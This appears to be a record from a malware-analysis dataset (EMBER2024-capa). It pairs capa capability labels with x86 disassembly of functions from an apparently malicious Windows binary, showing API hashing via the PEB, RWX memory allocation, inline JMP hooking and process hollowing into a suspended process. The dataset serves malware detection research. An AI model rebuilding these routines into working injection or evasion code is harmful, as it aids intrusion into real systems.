joyce8/EMBER2024-capa huggingface dataset:
Function at 0x338955
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
call fcn.0032adcc
add esp, 0x10
test eax, eax
je 0x338a98
push esi
call fcn.003480e3
mov esi, eax
push 0xa48d6762
push esi
call fcn.0032bf8e
push 0x20088e6a
push esi
mov dword [ebp - 0xc], eax
call fcn.0032bf8e
add esp, 0x10
mov dword [ebp - 0x18], eax
test eax, eax
je 0x338a97
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x1d113dc3
push eax
call fcn.0032bf8e
pop ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov esi, dword [eax + 0x68]
mov eax, dword [eax + 0x6c]
pop ecx
push 0x14
xor edx, edx
pop ecx
div ecx
add esi, ebx
dec eax
je 0x338a97
mov dword [ebp - 0x14], eax
push edi
mov edi, dword [esi + 0xc]
add edi, ebx
mov eax, dword [edi]
cmp eax, 0x6c64746e
je 0x338a8a
cmp eax, 0x4c44544e
je 0x338a8a
cmp dword [ebp - 0xc], 0
je 0x338a15
push edi
call dword [ebp - 0xc]
mov dword [ebp - 4], eax
xor eax, eax
cmp dword [ebp - 4], eax
jne 0x338a29
push eax
push eax
push edi
call dword [ebp - 0x18]
mov dword [ebp - 4], eax
test eax, eax
je 0x338a8a
cmp dword [ebp - 0x10], 0
je 0x338a37
push dword [ebp - 4]
push 0
call dword [ebp - 0x10]
mov eax, dword [esi]
test eax, eax
je 0x338a47
mov ecx, dword [esi + 0x10]
lea edi, [eax + ebx]
add ecx, ebx
jmp 0x338a4e
mov edi, dword [esi + 0x10]
add edi, ebx
mov ecx, edi
mov eax, dword [edi]
test eax, eax
je 0x338a8a
mov dword [ebp - 8], ecx
sub dword [ebp - 8], edi
test eax, eax
jns 0x338a65
and eax, 0xffff
jmp 0x338a69
lea eax, [eax + ebx + 2]
push eax
push dword [ebp - 4]
call fcn.0032bc90
test eax, eax
je 0x338a81
mov ecx, dword [ebp - 8]
cmp dword [ecx + edi], eax
je 0x338a8a
mov dword [ecx + edi], eax
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x338a5c
add esi, 0x14
dec dword [ebp - 0x14]
jne 0x3389eb
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3390a1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
call fcn.0033906f
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push eax
mov dword [ebp - 4], eax
call fcn.0032adcc
add esp, 0x10
test eax, eax
jne 0x3390cd
or eax, 0xffffffff
leave
ret
mov eax, dword [ebp - 0xc]
push ebx
mov ebx, dword [eax + 0x38]
and dword [ebp - 0x30], 0
push edi
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
push 0x1c
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
jne 0x339101
or eax, 0xffffffff
jmp 0x339192
cmp dword [ebp - 0x1c], 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, 0x3000
je 0x339119
cmp dword [ebp - 0x24], 0
jne 0x339129
push 0x40
push edi
push ebx
push dword [ebp - 4]
push dword [ebp + 8]
call esi
test eax, eax
jne 0x339171
mov ecx, dword fs:[0x18]
and dword [ecx + 0x34], 0
push 0x40
push edi
mov eax, 0xbad0000
push ebx
mov dword [ebp - 8], eax
push eax
jmp 0x339168
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 0
je 0x33915e
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 0x1e7
jne 0x339196
add dword [ebp - 8], ebx
push 0x40
push edi
push ebx
push dword [ebp - 8]
push dword [ebp + 8]
call esi
test eax, eax
je 0x339143
mov ecx, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 4]
test ecx, ecx
je 0x33917f
mov dword [ecx], esi
push ebx
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.0032ad76
add esp, 0x10
mov eax, esi
pop esi
pop edi
pop ebx
leave
ret
or eax, 0xffffffff
jmp 0x339191
Function at 0x33ba21
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp esi, ebx
je 0x33ba33
mov dword [esi], ebx
push ebx
push 0x80
push 3
push ebx
push 7
push 0x80000000
push dword [ebp + 8]
call fcn.00348743
mov edi, dword [ebp + 0x10]
mov dword [ebp + 0xc], eax
cmp edi, ebx
je 0x33ba5a
cmp edi, 0xffffffff
jne 0x33ba63
push ebx
push eax
call fcn.00348697
mov edi, eax
cmp dword [ebp + 0xc], 0xffffffff
je 0x33ba9c
cmp esi, ebx
je 0x33bac3
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea eax, [edi + 1]
test eax, eax
je 0x33ba8b
lea eax, [edi + 2]
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x33ba8d
xor eax, eax
mov dword [esi], eax
test eax, eax
jne 0x33baa3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x33bad0
cmp dword [ebp - 4], edi
jne 0x33bad0
mov eax, dword [esi]
mov byte [edi + eax], 0
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x33ba9e
mov eax, dword [esi]
xor edi, edi
cmp eax, edi
je 0x33baf5
push eax
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x33baf5
push dword [esi]
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi], edi
mov dword [esi], edi
jmp 0x33ba93

Function at 0x33c3fb
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, eax
and dword [edi + 0x6af50], 0
push 0x1fffc
lea eax, [edi + 0x4af54]
push 0
mov esi, 0x10000
push eax
mov byte [edi + 0x6af81], 1
mov dword [edi + 0x6af54], esi
call sub.ntdll.dll_memset
mov eax, ebx
movzx ecx, word [eax*8 + 0x3250ba]
mov dword [edi + 0x6af74], ecx
movzx ecx, word [eax*8 + 0x3250b8]
mov dword [edi + 0x6af78], ecx
movzx ecx, word [eax*8 + 0x3250bc]
mov dword [edi + 0x6af7c], ecx
movzx eax, word [eax*8 + 0x3250be]
add esp, 0xc
mov dword [edi + 0x6af70], eax
cmp ebx, 2
ja 0x33c47d
mov eax, dword [ebp + 0xc]
or word [eax], 4
jmp 0x33c489
cmp ebx, 8
jb 0x33c489
mov eax, dword [ebp + 0xc]
or word [eax], 2
push esi
mov esi, dword [edi]
lea ebx, [edi + 0x1af54]
push ebx
call fcn.00333ec3
xor esi, esi
pop ecx
pop ecx
mov dword [edi + 0x6af6c], eax
cmp eax, esi
je 0x33c4e9
mov byte [edi + 0x6af80], 0
mov dword [edi + 0x6af58], esi
mov dword [edi + 0x6af64], esi
cmp eax, 0x106
jae 0x33c4c5
call fcn.00337ed7
xor ecx, ecx
mov dword [edi + 0x6af5c], esi
xor eax, eax
movzx edx, byte [ebx + ecx]
shl eax, 5
xor eax, edx
and eax, 0x7fff
inc ecx
mov dword [edi + 0x6af5c], eax
cmp ecx, 2
jb 0x33c4cf
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x33c4ee
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push esi
push edi
mov edi, dword [eax + 0xc]
xor ebx, ebx
add edi, 0xc
mov esi, dword [edi]
mov dword [ebp - 4], ebx
jmp 0x33c52a
lea ecx, [ebp - 0xc]
push ecx
push 9
mov eax, esi
mov esi, dword [esi]
push 1
push dword [eax + 0x18]
call fcn.00348826
test eax, eax
je 0x33c52a
inc dword [ebp - 4]
cmp edi, esi
jne 0x33c50f
mov esi, dword [ebp - 4]
lea esi, [esi*4 + 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x33c55a
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x33c5d5
push esi
push ebx
push eax
call sub.ntdll.dll_memset
mov ebx, dword [edi + 4]
add esp, 0xc
jmp 0x33c5c2
lea ecx, [ebp - 0xc]
push ecx
push 9
mov eax, ebx
mov ebx, dword [ebx + 4]
push 1
push dword [eax + 0x18]
call fcn.00348826
mov esi, eax
test esi, esi
je 0x33c5c2
cmp dword [ebp - 4], 0
je 0x33c5da
mov eax, dword [esi + 4]
sub eax, dword [esi]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov dword [ecx + edx*4], eax
test eax, eax
je 0x33c54e
mov ecx, dword [esi]
mov edx, dword [esi + 4]
sub edx, ecx
push edx
push ecx
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
dec dword [ebp - 4]
cmp edi, ebx
jne 0x33c56a
mov eax, dword fs:[0x18]
mov ecx, dword [ebp - 8]
mov dword [eax + 0x2c], ecx
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
push 0xffffffffffffffff
jmp 0x33c550
Function at 0x33ceb6
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi]
mov eax, dword [esi + 4]
push edi
push 0x31
lea edi, [esi + 8]
push edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
jne 0x33cffa
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x33cffa
push esi
push 0xffffffffffffffff
mov dword [esi + 0x71], 0x1c
call fcn.0032a33c
push 8
push ebx
call fcn.0032a43b
mov ebx, eax
lea eax, [ebx - 8]
add esp, 0x10
mov dword [ebp - 0x18], ebx
cmp eax, 0x24
ja 0x33cffa
push ebx
push dword [ebp - 4]
push edi
call sub.ntdll.dll_memcpy
push ebx
push dword [ebp - 4]
lea eax, [esi + 0x39]
push eax
mov dword [esi + 0x69], ebx
call sub.ntdll.dll_memcpy
mov eax, dword [ebp - 4]
sub eax, edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea ebx, [esi + 0x65]
push ebx
push edi
push dword [ebp - 0x18]
push dword [ebp - 4]
call fcn.0032a484
add esp, 0x2c
test eax, eax
je 0x33cffa
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x40
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
mov dword [ebp - 0xc], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x33cffa
lea eax, [ebp - 0x14]
push eax
push 0x40
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x33cffa
mov eax, dword [ebx]
mov byte [edi + eax], 0xe9
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebx]
add eax, 0xfffffffb
mov dword [edi + ecx + 1], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 4]
mov dword [esi + 0x75], 0xe9c301eb
sub eax, 8
mov dword [ebp - 0x10], eax
mov dword [esi + 0x79], eax
pushal
mov esi, dword [ebp - 4]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, 0xe9c301eb
mov ecx, dword [ebp - 0x10]
lock cmpxchg8b qword ds:[esi]
jne 0x33cfe4
popal
push dword [ebp + 8]
call fcn.0033ce21
xor eax, eax
pop ecx
inc eax
jmp 0x33cffc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x33eeac
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov esi, 0x356c64
push esi
mov dword [eax + 0x34], ebx
call fcn.0034838c
mov edi, dword [ebp + 0x10]
push edi
push ebx
push 0x356d68
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x33ef0b
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x33eee3
push ebx
push dword [ebp + 0xc]
sub eax, edx
push dword [ebp + 8]
mov dword [eax + edi - 4], 0x6578652e
push edi
call fcn.0033b96c
add esp, 0x10
test eax, eax
je 0x33ef0b
xor ebx, ebx
inc ebx
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret

Function at 0x33ef12
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Move file
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
push ebx
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x70]
push ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x74], ebx
call sub.ntdll.dll_memset
xor eax, eax
mov dword [ebp - 0x2c], ebx
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x178]
push eax
push 0xc00
push 0x322258
call fcn.0033eeac
add esp, 0x18
test eax, eax
je 0x33f039
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x178]
push eax
mov dword [ebp - 0x74], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x33f039
push ebx
push dword [ebp - 0x2c]
call fcn.003390a1
mov edi, eax
pop ecx
pop ecx
cmp edi, 0xffffffff
je 0x33f039
push esi
lea eax, [ebp - 0x30]
push eax
push 0x40
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x2c]
mov esi, 0x1001160
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x33f038
mov eax, 0xd2ff
mov word [ebp - 0x11], ax
lea eax, [ebp - 4]
push eax
push 0xd
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1b], edi
add edi, dword [ebp + 8]
push esi
push dword [ebp - 0x2c]
mov dword [ebp - 0xc], esi
mov byte [ebp - 0x1c], 0xb8
mov word [ebp - 0x17], 0xba50
mov dword [ebp - 0x15], edi
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x33f038
cmp dword [ebp - 4], 0xd
jne 0x33f038
cmp dword [ebp + 0xc], ebx
je 0x33f013
push dword [ebp + 0x10]
call dword [ebp + 0xc]
pop ecx
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x33f038
push 4
push ebx
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov dword [ebp - 8], 1
pop esi
mov eax, dword [ebp - 8]
pop edi
pop ebx
leave
ret
Function at 0x3449a0
Capabilities:
Access peb ldr_data
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
push ebx
push edi
xor ebx, ebx
push 0x90
lea eax, [ebp - 0x90]
push ebx
push eax
xor edi, edi
mov dword [ebp - 0x94], ebx
call sub.ntdll.dll_memset
push 0x103
lea eax, [ebp - 0x197]
push ebx
push eax
mov byte [ebp - 0x198], bl
call sub.ntdll.dll_memset
add esp, 0x18
cmp byte [0x357c1b], bl
je 0x344a9e
push 0x104
lea eax, [ebp - 0x198]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x198]
push 0x325c74
push eax
call sub.ntdll.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x344a9e
call fcn.0033f257
call fcn.00340bbf
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x344a5c
cmp dword [ebp - 0x90], 5
jne 0x344a5c
cmp dword [ebp - 0x8c], ebx
jne 0x344a5c
mov dword [0x368109], 1
push 0x3594af64
push ebx
call fcn.00335362
pop ecx
pop ecx
mov dword [0x367f68], eax
mov dword [0x367f6c], 0x34359d
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x367f68
mov dword [0x367fd5], eax
call fcn.0033ceb6
pop ecx
test eax, eax
je 0x344a9e
xor edi, edi
inc edi
mov eax, edi
pop edi
pop ebx
leave
ret
Function at 0x344aa4
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp byte [0x357c1c], bl
je 0x344c25
push 0x104
lea eax, [ebp - 0x158]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x158]
push 0x325e24
push eax
call sub.ntdll.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x344c25
push edi
push 0x18
pop ecx
xor eax, eax
mov dword [ebp - 0x3c], ecx
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0xc], ebx
lea edi, [ebp - 8]
stosd dword es:[edi], eax
mov esi, 0x325cb0
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x10]
push eax
push ecx
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x54]
push eax
push ebx
movsw word es:[edi], word [esi]
mov esi, dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
push 0xffffffffffffffff
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], 1
call esi
test eax, eax
js 0x344bc9
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ntdll.dll_NtOpenProcess]
test eax, eax
js 0x344bc9
push 0x211
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebx
je 0x344bc9
push ebx
push 0x210
push edi
push 0x1b
push dword [ebp - 4]
call esi
test eax, eax
js 0x344ba9
cmp word [edi], bx
je 0x344ba9
cmp word [edi + 2], 0xe
jbe 0x344ba9
mov eax, dword [edi + 4]
lea ecx, [ebp - 0x24]
push ecx
push eax
call sub.ntdll.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x344ba9
mov dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x344bc9
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
cmp dword [ebp - 4], ebx
je 0x344bd8
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtClose]
cmp dword [ebp - 0x14], ebx
jne 0x344c22
call fcn.0033f257
call fcn.00340bbf
push 0x3c7fe14c
push ebx
call fcn.00335362
pop ecx
pop ecx
mov dword [0x356460], eax
mov dword [0x356464], 0x343da4
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x356460
mov dword [0x3564cd], eax
call fcn.0033ceb6
pop ecx
xor esi, esi
inc esi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x34523a
Capabilities:
Print debug messages
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
push ebx
push esi
push edi
push 6
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
push 0x103
mov dword [ebp - 0x30], ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x157]
push ebx
push eax
mov dword [ebp - 8], ebx
mov byte [ebp - 0x158], bl
call sub.ntdll.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x158]
push eax
mov esi, 0x48707389
push esi
mov dword [ebp - 0xc], ebx
call fcn.0032f7d8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x3452c5
lea eax, [ebp - 0x158]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x3452a2
xor ecx, ecx
sub eax, edx
cmp eax, 4
sete cl
push ebx
push esi
mov dword [ebp - 8], ecx
call fcn.0032f7d8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov eax, dword [ebp + 8]
mov esi, eax
mov ecx, 0x138
mov edi, 0x356a28
rep movsd dword es:[edi], dword [esi]
mov dword [eax], 0x45594521
push 0x104
lea eax, [ebp - 0x464]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0x356c44
push 0x356b30
lea eax, [ebp - 0x25c]
push eax
call edi
push 0x21
lea eax, [ebp - 0x54]
push eax
push 0x356e38
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x54]
push eax
mov esi, 0x357c18
push esi
call fcn.0033c66e
add esp, 0x18
test al, al
jne 0x3453dd
push 0x1c
lea eax, [ebp - 0x30]
push eax
push dword [ebp + 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 4]
push ecx
push 0x32603c
push 0x326038
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ebx
call main
add esp, 0x14
test eax, eax
je 0x345442
push ebx
push dword [ebp - 0x10]
lea eax, [ebp - 0x25c]
push dword [ebp - 4]
push eax
call fcn.0033b96c
add esp, 0x10
test eax, eax
je 0x345442
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x326034
push 0x326038
push dword [ebp - 0x14]
mov dword [ebp - 4], ebx
call main
add esp, 0x14
test eax, eax
je 0x3453c7
push dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, 0x410
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x54]
push eax
push esi
call fcn.0033c66e
add esp, 0x18
test al, al
je 0x345442
push 0x357c25
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 8], ebx
jne 0x345428
mov esi, 0x356c34
push esi
push 0x356b30
lea eax, [ebp - 0x360]
push eax
call edi
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x464]
push eax
call sub.ntdll.dll__strcmpi
pop ecx
pop ecx
test eax, eax
jne 0x345442
push esi
call fcn.0032a921
pop ecx
call fcn.00345205
jmp 0x345442
push 0x356c34
call fcn.0032a921
push 1
push ebx
push fcn.00344f75
call fcn.0032988f
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x3464e2
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
call fcn.003421f2
push 0x9f8b3756
xor esi, esi
push esi
call fcn.00335362
pop ecx
pop ecx
mov dword [0x34ea48], eax
cmp eax, esi
jne 0x34650c
push 2
pop eax
jmp 0x346646
push 0x8a4e65b9
push esi
call fcn.00335362
pop ecx
pop ecx
mov dword [0x3686b8], eax
cmp eax, esi
jne 0x346526
push 3
jmp 0x346506
push 0x56bbcd57
push esi
call fcn.00335362
pop ecx
pop ecx
mov dword [0x356f20], eax
cmp eax, esi
jne 0x346540
push 4
jmp 0x346506
push 0xed04f020
push esi
call fcn.00335362
pop ecx
pop ecx
mov dword [0x354b80], eax
cmp eax, esi
jne 0x34655a
push 5
jmp 0x346506
push 0xcc8bf39
push esi
call fcn.00335362
pop ecx
pop ecx
mov dword [0x367d90], eax
cmp eax, esi
jne 0x346574
push 6
jmp 0x346506
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x34ea48
mov dword [0x367dfd], eax
mov dword [0x354bed], eax
mov dword [0x356f8d], eax
mov dword [0x368725], eax
mov dword [0x34eab5], eax
mov dword [0x34ea4c], 0x334f20
call fcn.0033ceb6
mov dword [0x3686bc], 0x334fd6
mov dword [esp], 0x3686b8
call fcn.0033ceb6
mov dword [0x356f24], 0x32a9b6
mov dword [esp], 0x356f20
call fcn.0033ceb6
mov dword [0x354b84], 0x32ac6c
mov dword [esp], 0x354b80
call fcn.0033ceb6
mov dword [ebp - 4], esi
mov dword [esp], 0x52ac19c
call fcn.003480e3
push eax
call fcn.0032bf8e
pop ecx
pop ecx
cmp eax, esi
je 0x346615
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
call eax
cmp dword [ebp - 4], esi
jne 0x346631
push 0x367d90
mov dword [0x367d94], 0x34625c
call fcn.0033ceb6
pop ecx
jmp 0x346644
push 0x1a5
push esi
push 0x367d90
call sub.ntdll.dll_memset
add esp, 0xc
xor eax, eax
pop esi
leave
ret

Function at 0x3480e3
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x78740534
push eax
call fcn.0032bf8e
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x348185
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [edx], 0x65006b
add edx, 4
mov dword [edx], 0x6e0072
add edx, 4
mov dword [edx], 0x6c0065
add edx, 4
mov dword [edx], 0x320033
add edx, 4
mov dword [edx], 0x64002e
add edx, 4
mov dword [edx], 0x6c006c
add edx, 4
and dword [edx], 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
push 0x18
mov dword [ebp - 0x18], eax
pop eax
mov word [ebp - 0x1c], ax
push 0x1a
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
and eax, 0
push eax
push eax
call dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
leave
ret